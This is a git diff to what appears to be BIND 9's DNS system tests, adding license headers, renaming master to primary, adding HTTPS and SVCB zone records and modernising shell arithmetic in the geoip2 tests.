index 6d8d208555..f436559772 100644
--- a/bin/tests/system/genzone.sh
+++ b/bin/tests/system/genzone.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -12,18 +14,18 @@
 #
 # Set up a test zone
 #
-# Usage: genzone.sh master-server-number secondary-server-number...
+# Usage: genzone.sh primary-server-number secondary-server-number...
 #
-# e.g., "genzone.sh 2 3 4" means ns2 is the master and ns3, ns4
+# e.g., "genzone.sh 2 3 4" means ns2 is the primary and ns3, ns4
 # are secondaries.
 #
 
-master="$1"
+primary="$1"
 
 cat <<EOF
 \$TTL 3600
 
-@		86400	IN SOA	ns${master} hostmaster (
+@		86400	IN SOA	ns${primary} hostmaster (
 					1397051952 ; "SER0"
 					5
 					5
@@ -94,7 +96,7 @@ hinfo02			HINFO	PC NetBSD
 
 ; type 14
 minfo01			MINFO	rmailbx emailbx
-minfo02			MINFO	. . 
+minfo02			MINFO	. .
 
 ; type 15
 mx01			MX	10 mail
@@ -119,7 +121,7 @@ txt15			TXT	"bar\\;"
 
 ; type 17
 rp01			RP	mbox-dname txt-dname
-rp02			RP	. . 
+rp02			RP	. .
 
 ; type 18
 afsdb01			AFSDB	0 hostname
@@ -152,7 +154,7 @@ nsap-ptr01		NSAP-PTR .
 
 ; type 24
 ;sig01			SIG	NXT 1 3 ( 3600 20000102030405
-;				19961211100908 2143 foo.nil. 
+;				19961211100908 2143 foo.nil.
 ;				MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45I
 ;				kskceFGgiWCn/GxHhai6VAuHAoNUz4YoU1t
 ;				VfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY= )
@@ -203,7 +205,7 @@ atma03			ATMA	1234567890abcdef
 atma04			ATMA	f.e.d.c.b.a.0.9.8.7.6.5.4.3.2.1
 
 ; type 35
-naptr01			NAPTR   0 0 "" "" "" . 
+naptr01			NAPTR   0 0 "" "" "" .
 naptr02			NAPTR   65535 65535 blurgh blorf blllbb foo.
 naptr02			NAPTR   65535 65535 "blurgh" "blorf" "blllbb" foo.
 
@@ -212,7 +214,7 @@ kx01			KX	10 kdc
 kx02			KX	10 .
 
 ; type 37
-cert01			CERT	65534 65535 254 ( 
+cert01			CERT	65534 65535 254 (
 				MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45I
 				kskceFGgiWCn/GxHhai6VAuHAoNUz4YoU1t
 				VfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY= )
@@ -264,7 +266,7 @@ ipseckey05		IPSECKEY	( 10 2 2
 
 ; type 46
 rrsig01			RRSIG	NSEC 1 3 ( 3600 20000102030405
-				19961211100908 2143 foo.nil. 
+				19961211100908 2143 foo.nil.
 				MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45I
 				kskceFGgiWCn/GxHhai6VAuHAoNUz4YoU1t
 				VfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY= )
@@ -424,7 +426,7 @@ eui64			EUI64	01-23-45-67-89-ab-cd-ef
 ; The text representation is not specified in the draft.
 ; This example was written based on the bind9 RR parsing code.
 ;tkey01			TKEY	928321914 928321915 (
-;				255		; algorithm
+;				algorithm-name.	; algorithm
 ;				65535 		; mode
 ;				0		; error
 ;				3 		; key size
@@ -434,7 +436,7 @@ eui64			EUI64	01-23-45-67-89-ab-cd-ef
 ;				)
 ;; A TKEY with empty "other data"
 ;tkey02			TKEY	928321914 928321915 (
-;				255		; algorithm
+;				algorithm-name.	; algorithm
 ;				65535 		; mode
 ;				0		; error
 ;				3 		; key size
@@ -493,9 +495,15 @@ dlv			DLV	30795 1 1 (
 
 ; type 65280-65534 (private use)
 
+https0			HTTPS	0 example.net.
+https1			HTTPS	1 . port=60
+
+svcb0			SVCB	0 example.net.
+svcb1			SVCB	1 . port=60
+
 ; keydata (internal type used for managed keys)
 keydata			TYPE65533	\# 0
-keydata			TYPE65533	\# 6 010203040506 
+keydata			TYPE65533	\# 6 010203040506
 keydata			TYPE65533	\# 18 010203040506010203040506010203040506
 
 ; type 65535 (reserved)
diff --git a/bin/tests/system/geoip2/clean.sh b/bin/tests/system/geoip2/clean.sh
index 4b08888292..46de65b7a0 100644
--- a/bin/tests/system/geoip2/clean.sh
+++ b/bin/tests/system/geoip2/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/geoip2/conf/bad-areacode.conf b/bin/tests/system/geoip2/conf/bad-areacode.conf
index 5ae84b429a..2ca9dd4da1 100644
--- a/bin/tests/system/geoip2/conf/bad-areacode.conf
+++ b/bin/tests/system/geoip2/conf/bad-areacode.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/geoip2/conf/bad-dbname.conf b/bin/tests/system/geoip2/conf/bad-dbname.conf
index 10e6237190..9fc523831d 100644
--- a/bin/tests/system/geoip2/conf/bad-dbname.conf
+++ b/bin/tests/system/geoip2/conf/bad-dbname.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/geoip2/conf/bad-netspeed.conf b/bin/tests/system/geoip2/conf/bad-netspeed.conf
index 59d991d357..133fd4274c 100644
--- a/bin/tests/system/geoip2/conf/bad-netspeed.conf
+++ b/bin/tests/system/geoip2/conf/bad-netspeed.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/geoip2/conf/bad-regiondb.conf b/bin/tests/system/geoip2/conf/bad-regiondb.conf
index 4f55d3314e..62a93cdbd6 100644
--- a/bin/tests/system/geoip2/conf/bad-regiondb.conf
+++ b/bin/tests/system/geoip2/conf/bad-regiondb.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/conf/bad-threeletter.conf b/bin/tests/system/geoip2/conf/bad-threeletter.conf
index bd0f200809..ec0a9df28f 100644
--- a/bin/tests/system/geoip2/conf/bad-threeletter.conf
+++ b/bin/tests/system/geoip2/conf/bad-threeletter.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/geoip2/conf/good-options.conf b/bin/tests/system/geoip2/conf/good-options.conf
index 9a6dd17147..02c5e5df22 100644
--- a/bin/tests/system/geoip2/conf/good-options.conf
+++ b/bin/tests/system/geoip2/conf/good-options.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/geoip2/data/README.md b/bin/tests/system/geoip2/data/README.md
index 7f66940b54..e32684339f 100644
--- a/bin/tests/system/geoip2/data/README.md
+++ b/bin/tests/system/geoip2/data/README.md
@@ -1,3 +1,14 @@
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+
 ##### Test MMDB databases
 
 This directory contains test versions of the GeoIP2/GeoLite2 CIty,
diff --git a/bin/tests/system/geoip2/data/write-test-data.pl b/bin/tests/system/geoip2/data/write-test-data.pl
index 794e9d5bee..d12a014b6d 100755
--- a/bin/tests/system/geoip2/data/write-test-data.pl
+++ b/bin/tests/system/geoip2/data/write-test-data.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/env perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/geoip2/ns2/example.db.in b/bin/tests/system/geoip2/ns2/example.db.in
index 836359dc56..fa3874c03c 100644
--- a/bin/tests/system/geoip2/ns2/example.db.in
+++ b/bin/tests/system/geoip2/ns2/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/geoip2/ns2/named1.conf.in b/bin/tests/system/geoip2/ns2/named1.conf.in
index 2838b28fce..2b01a5cd3c 100644
--- a/bin/tests/system/geoip2/ns2/named1.conf.in
+++ b/bin/tests/system/geoip2/ns2/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/ns2/named10.conf.in b/bin/tests/system/geoip2/ns2/named10.conf.in
index f809d04d99..5cac0f728c 100644
--- a/bin/tests/system/geoip2/ns2/named10.conf.in
+++ b/bin/tests/system/geoip2/ns2/named10.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/ns2/named11.conf.in b/bin/tests/system/geoip2/ns2/named11.conf.in
index 0a4892599c..b6d2a44624 100644
--- a/bin/tests/system/geoip2/ns2/named11.conf.in
+++ b/bin/tests/system/geoip2/ns2/named11.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/ns2/named12.conf.in b/bin/tests/system/geoip2/ns2/named12.conf.in
index a968c8a91e..25281649cb 100644
--- a/bin/tests/system/geoip2/ns2/named12.conf.in
+++ b/bin/tests/system/geoip2/ns2/named12.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -31,7 +33,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/ns2/named2.conf.in b/bin/tests/system/geoip2/ns2/named2.conf.in
index 8794cbbd95..c28f15bfdc 100644
--- a/bin/tests/system/geoip2/ns2/named2.conf.in
+++ b/bin/tests/system/geoip2/ns2/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/ns2/named3.conf.in b/bin/tests/system/geoip2/ns2/named3.conf.in
index ecd758c1a6..f3b35e5b12 100644
--- a/bin/tests/system/geoip2/ns2/named3.conf.in
+++ b/bin/tests/system/geoip2/ns2/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/ns2/named4.conf.in b/bin/tests/system/geoip2/ns2/named4.conf.in
index e5c88284fd..7ccd200917 100644
--- a/bin/tests/system/geoip2/ns2/named4.conf.in
+++ b/bin/tests/system/geoip2/ns2/named4.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/ns2/named5.conf.in b/bin/tests/system/geoip2/ns2/named5.conf.in
index 0b53520018..ec0b3710f8 100644
--- a/bin/tests/system/geoip2/ns2/named5.conf.in
+++ b/bin/tests/system/geoip2/ns2/named5.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/ns2/named6.conf.in b/bin/tests/system/geoip2/ns2/named6.conf.in
index 56e17b3820..b2bb0917c2 100644
--- a/bin/tests/system/geoip2/ns2/named6.conf.in
+++ b/bin/tests/system/geoip2/ns2/named6.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/ns2/named7.conf.in b/bin/tests/system/geoip2/ns2/named7.conf.in
index 93e6a2c712..99b69608a7 100644
--- a/bin/tests/system/geoip2/ns2/named7.conf.in
+++ b/bin/tests/system/geoip2/ns2/named7.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/ns2/named8.conf.in b/bin/tests/system/geoip2/ns2/named8.conf.in
index ebf17659d6..4470ad6aca 100644
--- a/bin/tests/system/geoip2/ns2/named8.conf.in
+++ b/bin/tests/system/geoip2/ns2/named8.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/ns2/named9.conf.in b/bin/tests/system/geoip2/ns2/named9.conf.in
index a9161c0f75..5aee39375f 100644
--- a/bin/tests/system/geoip2/ns2/named9.conf.in
+++ b/bin/tests/system/geoip2/ns2/named9.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/geoip2/prereq.sh b/bin/tests/system/geoip2/prereq.sh
index 59dfc49479..c06d752b49 100644
--- a/bin/tests/system/geoip2/prereq.sh
+++ b/bin/tests/system/geoip2/prereq.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/geoip2/setup.sh b/bin/tests/system/geoip2/setup.sh
index 5142160198..646388f004 100644
--- a/bin/tests/system/geoip2/setup.sh
+++ b/bin/tests/system/geoip2/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/geoip2/tests.sh b/bin/tests/system/geoip2/tests.sh
index 1c1805af81..b72a870714 100644
--- a/bin/tests/system/geoip2/tests.sh
+++ b/bin/tests/system/geoip2/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -22,53 +26,53 @@ RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
 
 for conf in conf/good*.conf
 do
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "checking that $conf is accepted ($n)"
 	ret=0
 	$CHECKCONF "$conf" || ret=1
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
 for conf in conf/bad*.conf
 do
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "checking that $conf is rejected ($n)"
 	ret=0
 	$CHECKCONF "$conf" >/dev/null && ret=1
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking Country database by code using IPv4 ($n)"
 ret=0
 lret=0
 for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS txt example -b 10.53.0.$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
 done
 [ $lret -eq 1 ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if testsock6 fd92:7065:b8e:ffff::3
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "checking Country database by code using IPv6 ($n)"
   ret=0
   lret=0
   for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS6 txt example -b fd92:7065:b8e:ffff::$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
   done
   [ $lret -eq 1 ] && ret=1
   [ $ret -eq 0 ] || echo_i "failed"
-  status=`expr $status + $ret`
+  status=$((status + ret))
 else
   echo_i "IPv6 unavailable; skipping IPv6 country code test"
 fi
@@ -79,35 +83,35 @@ $CHECKCONF ns2/named.conf | cat_i
 rndc_reload ns2 10.53.0.2
 sleep 3
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking Country database with nested ACLs using IPv4 ($n)"
 ret=0
 lret=0
 for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS txt example -b 10.53.0.$i > dig.out.ns2.test$n.$i || lret=1
-    j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+    j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
     [ "$i" = "$j" ] || lret=1
     [ $lret -eq 1 ] && break
 done
 [ $lret -eq 1 ] && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if testsock6 fd92:7065:b8e:ffff::3
 then
-  n=`expr $n + 1`
+  n=$((n + 1))
   echo_i "checking Country database with nested ACLs using IPv6 ($n)"
   ret=0
   lret=0
   for i in 1 2 3 4 5 6 7; do
     $DIG $DIGOPTS6 txt example -b fd92:7065:b8e:ffff::$i > dig.out.ns2.test$n.$i || lret=1
-      j=`cat dig.out.ns2.test$n.$i | tr -d '"'`
+      j=$(cat dig.out.ns2.test$n.$i | tr -d '"')
       [ "$i" = "$j" ] || lret=1
       [ $lret -eq 1 ] && break
   done
   [ $lret -eq 1 ] && ret=1
   [ $ret -eq 0 ] || echo_i "failed"
-  status=`expr $status + $ret`
+  status=$((status + ret))
 else
   echo_i "IPv6 unavailable; skipping IPv6 country nested ACL test"
 fi
